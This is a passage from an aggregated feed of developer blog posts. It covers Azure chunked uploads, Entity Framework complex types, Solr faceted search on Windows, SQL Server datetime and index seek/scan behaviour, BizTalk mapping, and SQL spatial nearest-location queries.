the backend service and then upload them into Windows Azure Blob Storage in blocks. We focused on the frontend side and leverage three new feature introduced in HTML 5 which are - File.slice: Read part of the file by specifying the start and end byte index. - Blob: File-like interface which contains the part of the file content. - FormData: Temporary form element that we can pass the chunk alone with some metadata to the backend service. Then we discussed the performance consideration of chunk uploading. Sequence upload cannot provide maximized upload speed, but the unlimited parallel upload might crash the browser and server if too many chunks. So we finally came up with the solution to upload chunks in parallel with the concurrency limitation. We also demonstrated how to utilize “async.js” JavaScript library to help us control the asynchronize call and the parallel limitation.   Regarding the chunk size and the parallel limitation value there is no “best” value. You need to test vary composition and find out the best one for your particular scenario. It depends on the local bandwidth, client machine cores and the server side (Windows Azure Cloud Service Virtual Machine) cores, memory and bandwidth. Below is one of my performance test result. The client machine was Windows 8 IE 10 with 4 cores. I was using Microsoft Cooperation Network. The web site was hosted on Windows Azure China North data center (in Beijing) with one small web role (1.7GB 1 core CPU, 1.75GB memory with 100Mbps bandwidth). The test cases were - Chunk size: 512KB, 1MB, 2MB, 4MB. - Upload Mode: Sequence, parallel (unlimited), parallel with limit (4 threads, 8 threads). - Chunk Format: base64 string, binaries. - Target file: 100MB. - Each case was tested 3 times. Below is the test result chart. Some thoughts, but not guidance or best practice: - Parallel gets better performance than series. - No significant performance improvement between parallel 4 threads and 8 threads. - Transform with binaries provides better performance than base64. - In all cases, chunk size in 1MB - 2MB gets better performance.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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  • Entity Association Mapping with Code First Part 1 : Mapping Complex Types

    - by mortezam
    Last week the CTP5 build of the new Entity Framework Code First has been released by data team at Microsoft. Entity Framework Code-First provides a pretty powerful code-centric way to work with the databases. When it comes to associations, it brings ultimate flexibility. I’m a big fan of the EF Code First approach and am planning to explain association mapping with code first in a series of blog posts and this one is dedicated to Complex Types. If you are new to Code First approach, you can find a great walkthrough here. In order to build a solid foundation for our discussion, we will start by learning about some of the core concepts around the relationship mapping.   What is Mapping?Mapping is the act of determining how objects and their relationships are persisted in permanent data storage, in our case, relational databases. What is Relationship mapping?A mapping that describes how to persist a relationship (association, aggregation, or composition) between two or more objects. Types of RelationshipsThere are two categories of object relationships that we need to be concerned with when mapping associations. The first category is based on multiplicity and it includes three types: One-to-one relationships: This is a relationship where the maximums of each of its multiplicities is one. One-to-many relationships: Also known as a many-to-one relationship, this occurs when the maximum of one multiplicity is one and the other is greater than one. Many-to-many relationships: This is a relationship where the maximum of both multiplicities is greater than one. The second category is based on directionality and it contains two types: Uni-directional relationships: when an object knows about the object(s) it is related to but the other object(s) do not know of the original object. To put this in EF terminology, when a navigation property exists only on one of the association ends and not on the both. Bi-directional relationships: When the objects on both end of the relationship know of each other (i.e. a navigation property defined on both ends). How Object Relationships Are Implemented in POCO domain models?When the multiplicity is one (e.g. 0..1 or 1) the relationship is implemented by defining a navigation property that reference the other object (e.g. an Address property on User class). When the multiplicity is many (e.g. 0..*, 1..*) the relationship is implemented via an ICollection of the type of other object. How Relational Database Relationships Are Implemented? Relationships in relational databases are maintained through the use of Foreign Keys. A foreign key is a data attribute(s) that appears in one table and must be the primary key or other candidate key in another table. With a one-to-one relationship the foreign key needs to be implemented by one of the tables. To implement a one-to-many relationship we implement a foreign key from the “one table” to the “many table”. We could also choose to implement a one-to-many relationship via an associative table (aka Join table), effectively making it a many-to-many relationship. Introducing the ModelNow, let's review the model that we are going to use in order to implement Complex Type with Code First. It's a simple object model which consist of two classes: User and Address. Each user could have one billing address. The Address information of a User is modeled as a separate class as you can see in the UML model below: In object-modeling terms, this association is a kind of aggregation—a part-of relationship. Aggregation is a strong form of association; it has some additional semantics with regard to the lifecycle of objects. In this case, we have an even stronger form, composition, where the lifecycle of the part is fully dependent upon the lifecycle of the whole. Fine-grained domain models The motivation behind this design was to achieve Fine-grained domain models. In crude terms, fine-grained means “more classes than tables”. For example, a user may have both a billing address and a home address. In the database, you may have a single User table with the columns BillingStreet, BillingCity, and BillingPostalCode along with HomeStreet, HomeCity, and HomePostalCode. There are good reasons to use this somewhat denormalized relational model (performance, for one). In our object model, we can use the same approach, representing the two addresses as six string-valued properties of the User class. But it’s much better to model this using an Address class, where User has the BillingAddress and HomeAddress properties. This object model achieves improved cohesion and greater code reuse and is more understandable. Complex Types: Splitting a Table Across Multiple Types Back to our model, there is no difference between this composition and other weaker styles of association when it comes to the actual C# implementation. But in the context of ORM, there is a big difference: A composed class is often a candidate Complex Type. But C# has no concept of composition—a class or property can’t be marked as a composition. The only difference is the object identifier: a complex type has no individual identity (i.e. no AddressId defined on Address class) which make sense because when it comes to the database everything is going to be saved into one single table. How to implement a Complex Types with Code First Code First has a concept of Complex Type Discovery that works based on a set of Conventions. The convention is that if Code First discovers a class where a primary key cannot be inferred, and no primary key is registered through Data Annotations or the fluent API, then the type will be automatically registered as a complex type. Complex type detection also requires that the type does not have properties that reference entity types (i.e. all the properties must be scalar types) and is not referenced from a collection property on another type. Here is the implementation: public class User{    public int UserId { get; set; }    public string FirstName { get; set; }    public string LastName { get; set; }    public string Username { get; set; }    public Address Address { get; set; }} public class Address {     public string Street { get; set; }     public string City { get; set; }            public string PostalCode { get; set; }        }public class EntityMappingContext : DbContext {     public DbSet<User> Users { get; set; }        } With code first, this is all of the code we need to write to create a complex type, we do not need to configure any additional database schema mapping information through Data Annotations or the fluent API. Database SchemaThe mapping result for this object model is as follows: Limitations of this mappingThere are two important limitations to classes mapped as Complex Types: Shared references is not possible: The Address Complex Type doesn’t have its own database identity (primary key) and so can’t be referred to by any object other than the containing instance of User (e.g. a Shipping class that also needs to reference the same User Address). No elegant way to represent a null reference There is no elegant way to represent a null reference to an Address. When reading from database, EF Code First always initialize Address object even if values in all mapped columns of the complex type are null. This means that if you store a complex type object with all null property values, EF Code First returns a initialized complex type when the owning entity object is retrieved from the database. SummaryIn this post we learned about fine-grained domain models which complex type is just one example of it. Fine-grained is fully supported by EF Code First and is known as the most important requirement for a rich domain model. Complex type is usually the simplest way to represent one-to-one relationships and because the lifecycle is almost always dependent in such a case, it’s either an aggregation or a composition in UML. In the next posts we will revisit the same domain model and will learn about other ways to map a one-to-one association that does not have the limitations of the complex types. References ADO.NET team blog Mapping Objects to Relational Databases Java Persistence with Hibernate

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  • Faceted search with Solr on Windows

    - by Dr.NETjes
    With over 10 million hits a day, funda.nl is probably the largest ASP.NET website which uses Solr on a Windows platform. While all our data (i.e. real estate properties) is stored in SQL Server, we're using Solr 1.4.1 to return the faceted search results as fast as we can.And yes, Solr is very fast. We did do some heavy stress testing on our Solr service, which allowed us to do over 1,000 req/sec on a single 64-bits Solr instance; and that's including converting search-url's to Solr http-queries and deserializing Solr's result-XML back to .NET objects! Let me tell you about faceted search and how to integrate Solr in a .NET/Windows environment. I'll bet it's easier than you think :-) What is faceted search? Faceted search is the clustering of search results into categories, allowing users to drill into search results. By showing the number of hits for each facet category, users can easily see how many results match that category. If you're still a bit confused, this example from CNET explains it all: The SQL solution for faceted search Our ("pre-Solr") solution for faceted search was done by adding a lot of redundant columns to our SQL tables and doing a COUNT(...) for each of those columns:   So if a user was searching for real estate properties in the city 'Amsterdam', our facet-query would be something like: SELECT COUNT(hasGarden), COUNT(has2Bathrooms), COUNT(has3Bathrooms), COUNT(etc...) FROM Houses WHERE city = 'Amsterdam' While this solution worked fine for a couple of years, it wasn't very easy for developers to add new facets. And also, performing COUNT's on all matched rows only performs well if you have a limited amount of rows in a table (i.e. less than a million). Enter Solr "Solr is an open source enterprise search server based on the Lucene Java search library, with XML/HTTP and JSON APIs, hit highlighting, faceted search, caching, replication, and a web administration interface." (quoted from Wikipedia's page on Solr) Solr isn't a database, it's more like a big index. Every time you upload data to Solr, it will analyze the data and create an inverted index from it (like the index-pages of a book). This way Solr can lookup data very quickly. To explain the inner workings of Solr is beyond the scope of this post, but if you want to learn more, please visit the Solr Wiki pages. Getting faceted search results from Solr is very easy; first let me show you how to send a http-query to Solr:    http://localhost:8983/solr/select?q=city:Amsterdam This will return an XML document containing the search results (in this example only three houses in the city of Amsterdam):    <response>     <result name="response" numFound="3" start="0">         <doc>            <long name="id">3203</long>            <str name="city">Amsterdam</str>            <str name="steet">Keizersgracht</str>            <int name="numberOfBathrooms">2</int>        </doc>         <doc>             <long name="id">3205</long>             <str name="city">Amsterdam</str>             <str name="steet">Vondelstraat</str>             <int name="numberOfBathrooms">3</int>          </doc>          <doc>             <long name="id">4293</long>             <str name="city">Amsterdam</str>             <str name="steet">Wibautstraat</str>             <int name="numberOfBathrooms">2</int>          </doc>       </result>   </response> By adding a facet-querypart for the field "numberOfBathrooms", Solr will return the facets for this particular field. We will see that there's one house in Amsterdam with three bathrooms and two houses with two bathrooms.    http://localhost:8983/solr/select?q=city:Amsterdam&facet=true&facet.field=numberOfBathrooms The complete XML response from Solr now looks like:    <response>      <result name="response" numFound="3" start="0">         <doc>            <long name="id">3203</long>            <str name="city">Amsterdam</str>            <str name="steet">Keizersgracht</str>            <int name="numberOfBathrooms">2</int>         </doc>         <doc>            <long name="id">3205</long>            <str name="city">Amsterdam</str>            <str name="steet">Vondelstraat</str>            <int name="numberOfBathrooms">3</int>         </doc>         <doc>            <long name="id">4293</long>            <str name="city">Amsterdam</str>            <str name="steet">Wibautstraat</str>            <int name="numberOfBathrooms">2</int>         </doc>      </result>      <lst name="facet_fields">         <lst name="numberOfBathrooms">            <int name="2">2</int>            <int name="3">1</int>         </lst>      </lst>   </response> Trying Solr for yourself To run Solr on your local machine and experiment with it, you should read the Solr tutorial. This tutorial really only takes 1 hour, in which you install Solr, upload sample data and get some query results. And yes, it works on Windows without a problem. Note that in the Solr tutorial, you're using Jetty as a Java Servlet Container (that's why you must start it using "java -jar start.jar"). In our environment we prefer to use Apache Tomcat to host Solr, which installs like a Windows service and works more like .NET developers expect. See the SolrTomcat page.Some best practices for running Solr on Windows: Use the 64-bits version of Tomcat. In our tests, this doubled the req/sec we were able to handle!Use a .NET XmlReader to convert Solr's XML output-stream to .NET objects. Don't use XPath; it won't scale well.Use filter queries ("fq" parameter) instead of the normal "q" parameter where possible. Filter queries are cached by Solr and will speed up Solr's response time (see FilterQueryGuidance)In my next post I’ll talk about how to keep Solr's indexed data in sync with the data in your SQL tables. Timestamps / rowversions will help you out here!

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  • SQL SERVER – Difference Between DATETIME and DATETIME2 – WITH GETDATE

    - by pinaldave
    Earlier I wrote blog post SQL SERVER – Difference Between GETDATE and SYSDATETIME which inspired me to write SQL SERVER – Difference Between DATETIME and DATETIME2. Now earlier two blog post inspired me to write this blog post (and 4 emails and 3 reads from readers). I previously populated DATETIME and DATETIME2 field with SYSDATETIME, which gave me very different behavior as SYSDATETIME was rounded up/down for the DATETIME datatype. I just ran the same experiment but instead of populating SYSDATETIME in this script I will be using GETDATE function. DECLARE @Intveral INT SET @Intveral = 10000 CREATE TABLE #TimeTable (FirstDate DATETIME, LastDate DATETIME2) WHILE (@Intveral > 0) BEGIN INSERT #TimeTable (FirstDate, LastDate) VALUES (GETDATE(), GETDATE()) SET @Intveral = @Intveral - 1 END GO SELECT COUNT(DISTINCT FirstDate) D_FirstDate, COUNT(DISTINCT LastDate) D_LastDate FROM #TimeTable GO SELECT DISTINCT a.FirstDate, b.LastDate FROM #TimeTable a INNER JOIN #TimeTable b ON a.FirstDate = b.LastDate GO SELECT * FROM #TimeTable GO DROP TABLE #TimeTable GO Let us run above script and observe the results. You will find that the values of GETDATE which is populated in both the columns FirstDate and LastDate are very much same. This is because GETDATE is of datatype DATETIME and the precision of the GETDATE is smaller than DATETIME2 there is no rounding happening. In other word, this experiment is pointless. I have included this as I got 4 emails and 3 twitter questions on this subject. If your datatype of variable is smaller than column datatype there is no manipulation of data, if data type of variable is larger than column datatype the data is rounded. Reference: Pinal Dave (http://www.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL DateTime, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • What's brewing in the world of Java? (Dec 22nd 2010)

    - by Jacob Lehrbaum
    The nights are getting darker, the email traffic seems to be getting lighter and the holiday season feels like its right around the corner - but the world of Java is still as active as ever and shows no signs of taking a break!  Let's take a look at everything that has been brewing over the past couple of weeks:Product Updates and ResourcesJCP Approves JSRs for Java SE 7, Java SE 8, Project Coin and Lambda (read more)Java SE Update 23 Released, delivers improved performance and enhanced support for right-left languages. (read more or download)New Tutorial: JDK 7 Support in NetBeans IDE 7.0Java EE 6 and Glassfish 3.0 have celebrated their respective one year anniversaries!  (read more) So naturally, it's time to start talking about Java EE 7 (read more)WebcastsOn Demand: Developing Rich Clients for the Enterprise with the JavaFX Composer, Part 1Coming soon: Smarter Devices with Oracle's Embedded Java SolutionsPodcastsJava Spotlight Podcast Episode 7: Interview with Adam Messinger, Vice President of Java Development on Java One Brazil, Java SE Development, OpenJDK, JavaFX 2.0 and more!  The NetBeans team released Episode 53 of the NetBeans Podcast series on December 3rd marking the first episode in nearly 12 months.  Sign of things to come?Community and EventsJavaOne was held for the first time in Brazil this year, and by all accounts it was a great success!  Read more about this exciting first in the following posts from Tori Wieldt (JavaOne Latin America Underway) and Janice Heiss (JavaOne in Brazil)JavaOne was also held in Bejing for the first time last week and was also a huge success. Will try to include coverage of this event in the near futureArticles and InterviewsAn update on JavaServer Faces with Oracle's Ed Burns (read more)Interview with Java Champion Matjaz B. Juric on Cloud Computing, SOA, and Java EE 6 (read more)The 2010 JavaOne Java EE 6 Panel: Where We Are and Where We're Going (read more)Oracle MagazineThe latest issue of Oracle Magazine is up and in what will hopefully be a sign of the future, it includes a number of columns and articles on Java.  First is an editorial from Editor-in-Chief Tom Haunert who shares some insight into the long-standing relationship that Oracle has had with Java. Next up is a Oracle Technology Network Chief Justin Kestelyn's Community Bulletin entitled: Java Evolves.  And finally, Java Champion Adam Bien's feature on Java EE 6: Simplicity by DesignEnjoy!

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  • Using Microsoft's Chart Controls In An ASP.NET Application: Serializing Chart Data

    In most usage scenarios, the data displayed in a Microsoft Chart control comes from some dynamic source, such as from a database query. The appearance of the chart can be modified dynamically, as well; past installments in this article series showed how to programmatically customize the axes, labels, and other appearance-related settings. However, it is possible to statically define the chart's data and appearance strictly through the control's declarative markup. One of the demos examined in the Getting Started article rendered a column chart with seven columns whose labels and values were defined statically in the <asp:Series> tag's <Points> collection. Given this functionality, it should come as no surprise that the Microsoft Chart Controls also support serialization. Serialization is the process of persisting the state of a control or an object to some other medium, such as to disk. Deserialization is the inverse process, and involves taking the persisted data and recreating the control or object. With just a few lines of code you can persist the appearance settings, the data, or both to a file on disk or to any stream. Likewise, it takes just a few lines of codes to reconstitute a chart from the persisted information. This article shows how to use the Microsoft Chart Control's serialization functionality by examining a demo application that allows users to create custom charts, specifying the data to plot and some appearance-related settings. The user can then save a "snapshot" of this chart, which persists its appearance and data to a record in a database. From another page, users can view these saved chart snapshots. Read on to learn more! Read More >

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  • BizTalk 2009 - The Scope of the Table Looping Functoid

    - by StuartBrierley
    When mapping in BizTalk you will find there are times when you need to map from flat and dispersed elemements in your source schema to a repeated record with child elements in your destination schema.  Below is an example of how you can make use of the Table Looping Functoid to bring together these flat elements and create your repeated group.  Although this example is purposely simple, I have previsouly encounted this issue on a much more complex scale when mapping the response from a credit scoring agency where all the applicant details were supplied in separate parts of a very flat schema. Consider the source and destination schemas as follows:   Although the Table Looping Functoid states that the first input must be a scoping element linked from a repeating group, you can actually also make use of a constant value.  In this case I know that the source schema always contains two people, so I set this to two. Then you need to set the number of columns in your table, in this case 2 (name and sex) and link all the required fields from the source schema. Following this you can configure the table. You can then add the Table Extractor functoids and complete the map. If you now validate this map you will see that BizTalk will warn you about the scoping link for the Table Looping Functoid, but this can be safely ignored. C:\Code\Developer Folders\Stuart Brierley\Test Mapping\TableLooping.btm: warning btm1071: A first input of the Table-Looping functoid must be a link from a Source Tree Node which acts as the scoping parameter. Testing the map will produce the following output:

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  • Building a Store Locator ASP.NET Application Using Google Maps API (Part 3)

    Over the past two weeks I've showed how to build a store locator application using ASP.NET and the free Google Maps API and Google's geocoding service. Part 1 looked at creating the database to record the store locations. This database contains a table named Stores with columns capturing each store's address and latitude and longitude coordinates. Part 1 also showed how to use Google's geocoding service to translate a user-entered address into latitude and longitude coordinates, which could then be used to retrieve and display those stores within (roughly) a 15 mile area. At the end of Part 1, the results page listed the nearby stores in a grid. In Part 2 we used the Google Maps API to add an interactive map to the search results page, with each nearby store displayed on the map as a marker. The map added in Part 2 certainly improves the search results page, but the way the nearby stores are displayed on the map leaves a bit to be desired. For starters, each nearby store is displayed on the map using the same marker icon, namely a red pushpin. This makes it difficult to match up the nearby stores listed in the grid with those displayed on the map. Hovering the mouse over a marker on the map displays the store number in a tooltip, but ideally a user could click a marker to see more detailed information about the store, such as its address, phone number, a photo of the storefront, and so forth. This third and final installment shows how to enhance the map created in Part 2. Specifically, we'll see how to customize the marker icons displayed in the map to make it easier to identify which marker corresponds to which nearby store location. We'll also look at adding rich popup windows to each marker, which includes detailed store information and can be updated further to include pictures and other HTML content. Read on to learn more! Read More >

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  • Building a Store Locator ASP.NET Application Using Google Maps API (Part 3)

    Over the past two weeks I've showed how to build a store locator application using ASP.NET and the free Google Maps API and Google's geocoding service. Part 1 looked at creating the database to record the store locations. This database contains a table named Stores with columns capturing each store's address and latitude and longitude coordinates. Part 1 also showed how to use Google's geocoding service to translate a user-entered address into latitude and longitude coordinates, which could then be used to retrieve and display those stores within (roughly) a 15 mile area. At the end of Part 1, the results page listed the nearby stores in a grid. In Part 2 we used the Google Maps API to add an interactive map to the search results page, with each nearby store displayed on the map as a marker. The map added in Part 2 certainly improves the search results page, but the way the nearby stores are displayed on the map leaves a bit to be desired. For starters, each nearby store is displayed on the map using the same marker icon, namely a red pushpin. This makes it difficult to match up the nearby stores listed in the grid with those displayed on the map. Hovering the mouse over a marker on the map displays the store number in a tooltip, but ideally a user could click a marker to see more detailed information about the store, such as its address, phone number, a photo of the storefront, and so forth. This third and final installment shows how to enhance the map created in Part 2. Specifically, we'll see how to customize the marker icons displayed in the map to make it easier to identify which marker corresponds to which nearby store location. We'll also look at adding rich popup windows to each marker, which includes detailed store information and can be updated further to include pictures and other HTML content. Read on to learn more! Read More >Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • Is there a way to track data structure dependencies from the database, through the tiers, all the way out to a web page?

    - by Sean Mickey
    When we design applications, we generally end up with the same tiered sets of data structures: A persistent data structure that is described using DDL and implemented as RDBMS tables and columns. A set of domain objects that consist primarily of data structures, usually combined with business-rule level logic, that are implemented in a programming language such as Java. A set of service layer interfaces that directly support use case implementations (which use the domain data structures as parameters), implemented as EJBs or something equivalent in another programming language. UI screens that allow users to C reate, R etrieve, U pdate, and (maybe) D elete all manner of data structures and graphs of data structures, with numerous screens and with multiple UI widgets, all structured to support the same data structures. But if you want to change the data structures in any of these tiers, it always seems extremely difficult to assess the impact(s) the change will have across the application. UML can help, but tracing through diagram after diagram is not a real solution to this problem. The best I have ever seen was a homespun data tracking spreadsheet document that listed all of the data structures and walked the relationships from tier-to-tier. Is there a tool or accepted approach that makes it easy to identify a data structure in any tier and easily obtain a list of all dependent: database table and column data structures domain object data structures service layer interface methods and parameter data structures screen & UI component data structures

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  • So…is it a Seek or a Scan?

    - by Paul White
    You’re probably most familiar with the terms ‘Seek’ and ‘Scan’ from the graphical plans produced by SQL Server Management Studio (SSMS).  The image to the left shows the most common ones, with the three types of scan at the top, followed by four types of seek.  You might look to the SSMS tool-tip descriptions to explain the differences between them: Not hugely helpful are they?  Both mention scans and ranges (nothing about seeks) and the Index Seek description implies that it will not scan the index entirely (which isn’t necessarily true). Recall also yesterday’s post where we saw two Clustered Index Seek operations doing very different things.  The first Seek performed 63 single-row seeking operations; and the second performed a ‘Range Scan’ (more on those later in this post).  I hope you agree that those were two very different operations, and perhaps you are wondering why there aren’t different graphical plan icons for Range Scans and Seeks?  I have often wondered about that, and the first person to mention it after yesterday’s post was Erin Stellato (twitter | blog): Before we go on to make sense of all this, let’s look at another example of how SQL Server confusingly mixes the terms ‘Scan’ and ‘Seek’ in different contexts.  The diagram below shows a very simple heap table with two columns, one of which is the non-clustered Primary Key, and the other has a non-unique non-clustered index defined on it.  The right hand side of the diagram shows a simple query, it’s associated query plan, and a couple of extracts from the SSMS tool-tip and Properties windows. Notice the ‘scan direction’ entry in the Properties window snippet.  Is this a seek or a scan?  The different references to Scans and Seeks are even more pronounced in the XML plan output that the graphical plan is based on.  This fragment is what lies behind the single Index Seek icon shown above: You’ll find the same confusing references to Seeks and Scans throughout the product and its documentation. Making Sense of Seeks Let’s forget all about scans for a moment, and think purely about seeks.  Loosely speaking, a seek is the process of navigating an index B-tree to find a particular index record, most often at the leaf level.  A seek starts at the root and navigates down through the levels of the index to find the point of interest: Singleton Lookups The simplest sort of seek predicate performs this traversal to find (at most) a single record.  This is the case when we search for a single value using a unique index and an equality predicate.  It should be readily apparent that this type of search will either find one record, or none at all.  This operation is known as a singleton lookup.  Given the example table from before, the following query is an example of a singleton lookup seek: Sadly, there’s nothing in the graphical plan or XML output to show that this is a singleton lookup – you have to infer it from the fact that this is a single-value equality seek on a unique index.  The other common examples of a singleton lookup are bookmark lookups – both the RID and Key Lookup forms are singleton lookups (an RID lookup finds a single record in a heap from the unique row locator, and a Key Lookup does much the same thing on a clustered table).  If you happen to run your query with STATISTICS IO ON, you will notice that ‘Scan Count’ is always zero for a singleton lookup. Range Scans The other type of seek predicate is a ‘seek plus range scan’, which I will refer to simply as a range scan.  The seek operation makes an initial descent into the index structure to find the first leaf row that qualifies, and then performs a range scan (either backwards or forwards in the index) until it reaches the end of the scan range. The ability of a range scan to proceed in either direction comes about because index pages at the same level are connected by a doubly-linked list – each page has a pointer to the previous page (in logical key order) as well as a pointer to the following page.  The doubly-linked list is represented by the green and red dotted arrows in the index diagram presented earlier.  One subtle (but important) point is that the notion of a ‘forward’ or ‘backward’ scan applies to the logical key order defined when the index was built.  In the present case, the non-clustered primary key index was created as follows: CREATE TABLE dbo.Example ( key_col INTEGER NOT NULL, data INTEGER NOT NULL, CONSTRAINT [PK dbo.Example key_col] PRIMARY KEY NONCLUSTERED (key_col ASC) ) ; Notice that the primary key index specifies an ascending sort order for the single key column.  This means that a forward scan of the index will retrieve keys in ascending order, while a backward scan would retrieve keys in descending key order.  If the index had been created instead on key_col DESC, a forward scan would retrieve keys in descending order, and a backward scan would return keys in ascending order. A range scan seek predicate may have a Start condition, an End condition, or both.  Where one is missing, the scan starts (or ends) at one extreme end of the index, depending on the scan direction.  Some examples might help clarify that: the following diagram shows four queries, each of which performs a single seek against a column holding every integer from 1 to 100 inclusive.  The results from each query are shown in the blue columns, and relevant attributes from the Properties window appear on the right: Query 1 specifies that all key_col values less than 5 should be returned in ascending order.  The query plan achieves this by seeking to the start of the index leaf (there is no explicit starting value) and scanning forward until the End condition (key_col < 5) is no longer satisfied (SQL Server knows it can stop looking as soon as it finds a key_col value that isn’t less than 5 because all later index entries are guaranteed to sort higher). Query 2 asks for key_col values greater than 95, in descending order.  SQL Server returns these results by seeking to the end of the index, and scanning backwards (in descending key order) until it comes across a row that isn’t greater than 95.  Sharp-eyed readers may notice that the end-of-scan condition is shown as a Start range value.  This is a bug in the XML show plan which bubbles up to the Properties window – when a backward scan is performed, the roles of the Start and End values are reversed, but the plan does not reflect that.  Oh well. Query 3 looks for key_col values that are greater than or equal to 10, and less than 15, in ascending order.  This time, SQL Server seeks to the first index record that matches the Start condition (key_col >= 10) and then scans forward through the leaf pages until the End condition (key_col < 15) is no longer met. Query 4 performs much the same sort of operation as Query 3, but requests the output in descending order.  Again, we have to mentally reverse the Start and End conditions because of the bug, but otherwise the process is the same as always: SQL Server finds the highest-sorting record that meets the condition ‘key_col < 25’ and scans backward until ‘key_col >= 20’ is no longer true. One final point to note: seek operations always have the Ordered: True attribute.  This means that the operator always produces rows in a sorted order, either ascending or descending depending on how the index was defined, and whether the scan part of the operation is forward or backward.  You cannot rely on this sort order in your queries of course (you must always specify an ORDER BY clause if order is important) but SQL Server can make use of the sort order internally.  In the four queries above, the query optimizer was able to avoid an explicit Sort operator to honour the ORDER BY clause, for example. Multiple Seek Predicates As we saw yesterday, a single index seek plan operator can contain one or more seek predicates.  These seek predicates can either be all singleton seeks or all range scans – SQL Server does not mix them.  For example, you might expect the following query to contain two seek predicates, a singleton seek to find the single record in the unique index where key_col = 10, and a range scan to find the key_col values between 15 and 20: SELECT key_col FROM dbo.Example WHERE key_col = 10 OR key_col BETWEEN 15 AND 20 ORDER BY key_col ASC ; In fact, SQL Server transforms the singleton seek (key_col = 10) to the equivalent range scan, Start:[key_col >= 10], End:[key_col <= 10].  This allows both range scans to be evaluated by a single seek operator.  To be clear, this query results in two range scans: one from 10 to 10, and one from 15 to 20. Final Thoughts That’s it for today – tomorrow we’ll look at monitoring singleton lookups and range scans, and I’ll show you a seek on a heap table. Yes, a seek.  On a heap.  Not an index! If you would like to run the queries in this post for yourself, there’s a script below.  Thanks for reading! IF OBJECT_ID(N'dbo.Example', N'U') IS NOT NULL BEGIN DROP TABLE dbo.Example; END ; -- Test table is a heap -- Non-clustered primary key on 'key_col' CREATE TABLE dbo.Example ( key_col INTEGER NOT NULL, data INTEGER NOT NULL, CONSTRAINT [PK dbo.Example key_col] PRIMARY KEY NONCLUSTERED (key_col) ) ; -- Non-unique non-clustered index on the 'data' column CREATE NONCLUSTERED INDEX [IX dbo.Example data] ON dbo.Example (data) ; -- Add 100 rows INSERT dbo.Example WITH (TABLOCKX) ( key_col, data ) SELECT key_col = V.number, data = V.number FROM master.dbo.spt_values AS V WHERE V.[type] = N'P' AND V.number BETWEEN 1 AND 100 ; -- ================ -- Singleton lookup -- ================ ; -- Single value equality seek in a unique index -- Scan count = 0 when STATISTIS IO is ON -- Check the XML SHOWPLAN SELECT E.key_col FROM dbo.Example AS E WHERE E.key_col = 32 ; -- =========== -- Range Scans -- =========== ; -- Query 1 SELECT E.key_col FROM dbo.Example AS E WHERE E.key_col <= 5 ORDER BY E.key_col ASC ; -- Query 2 SELECT E.key_col FROM dbo.Example AS E WHERE E.key_col > 95 ORDER BY E.key_col DESC ; -- Query 3 SELECT E.key_col FROM dbo.Example AS E WHERE E.key_col >= 10 AND E.key_col < 15 ORDER BY E.key_col ASC ; -- Query 4 SELECT E.key_col FROM dbo.Example AS E WHERE E.key_col >= 20 AND E.key_col < 25 ORDER BY E.key_col DESC ; -- Final query (singleton + range = 2 range scans) SELECT E.key_col FROM dbo.Example AS E WHERE E.key_col = 10 OR E.key_col BETWEEN 15 AND 20 ORDER BY E.key_col ASC ; -- === TIDY UP === DROP TABLE dbo.Example; © 2011 Paul White email: [email protected] twitter: @SQL_Kiwi

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  • Silverlight layout hack: Centered content with fixed maxwidth

    - by brainbox
     Today we need to create centered content with fixed maxwidth. It is very easy to implement it for fixed width, but is not clear how to achieve the same for maxwidth.The solution to the problem is Grid with 3 columns: <Grid>      <Grid.ColumnDefenitions>            <ColumnDefenition Width="0.01*" />             <ColumnDefenition Width="0.98*" MaxWidth="1280" />            <ColumnDefenition Width="0.01*" />      </Grid.ColumnDefenitions> </Grid>Huh... like html coding xaml coding is still full of dirty tricks =)

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  • SQL Spatial: Getting “nearest” calculations working properly

    - by Rob Farley
    If you’ve ever done spatial work with SQL Server, I hope you’ve come across the ‘nearest’ problem. You have five thousand stores around the world, and you want to identify the one that’s closest to a particular place. Maybe you want the store closest to the LobsterPot office in Adelaide, at -34.925806, 138.605073. Or our new US office, at 42.524929, -87.858244. Or maybe both! You know how to do this. You don’t want to use an aggregate MIN or MAX, because you want the whole row, telling you which store it is. You want to use TOP, and if you want to find the closest store for multiple locations, you use APPLY. Let’s do this (but I’m going to use addresses in AdventureWorks2012, as I don’t have a list of stores). Oh, and before I do, let’s make sure we have a spatial index in place. I’m going to use the default options. CREATE SPATIAL INDEX spin_Address ON Person.Address(SpatialLocation); And my actual query: WITH MyLocations AS (SELECT * FROM (VALUES ('LobsterPot Adelaide', geography::Point(-34.925806, 138.605073, 4326)),                        ('LobsterPot USA', geography::Point(42.524929, -87.858244, 4326))                ) t (Name, Geo)) SELECT l.Name, a.AddressLine1, a.City, s.Name AS [State], c.Name AS Country FROM MyLocations AS l CROSS APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a JOIN Person.StateProvince AS s     ON s.StateProvinceID = a.StateProvinceID JOIN Person.CountryRegion AS c     ON c.CountryRegionCode = s.CountryRegionCode ; Great! This is definitely working. I know both those City locations, even if the AddressLine1s don’t quite ring a bell. I’m sure I’ll be able to find them next time I’m in the area. But of course what I’m concerned about from a querying perspective is what’s happened behind the scenes – the execution plan. This isn’t pretty. It’s not using my index. It’s sucking every row out of the Address table TWICE (which sucks), and then it’s sorting them by the distance to find the smallest one. It’s not pretty, and it takes a while. Mind you, I do like the fact that it saw an indexed view it could use for the State and Country details – that’s pretty neat. But yeah – users of my nifty website aren’t going to like how long that query takes. The frustrating thing is that I know that I can use the index to find locations that are within a particular distance of my locations quite easily, and Microsoft recommends this for solving the ‘nearest’ problem, as described at http://msdn.microsoft.com/en-au/library/ff929109.aspx. Now, in the first example on this page, it says that the query there will use the spatial index. But when I run it on my machine, it does nothing of the sort. I’m not particularly impressed. But what we see here is that parallelism has kicked in. In my scenario, it’s split the data up into 4 threads, but it’s still slow, and not using my index. It’s disappointing. But I can persuade it with hints! If I tell it to FORCESEEK, or use my index, or even turn off the parallelism with MAXDOP 1, then I get the index being used, and it’s a thing of beauty! Part of the plan is here: It’s massive, and it’s ugly, and it uses a TVF… but it’s quick. The way it works is to hook into the 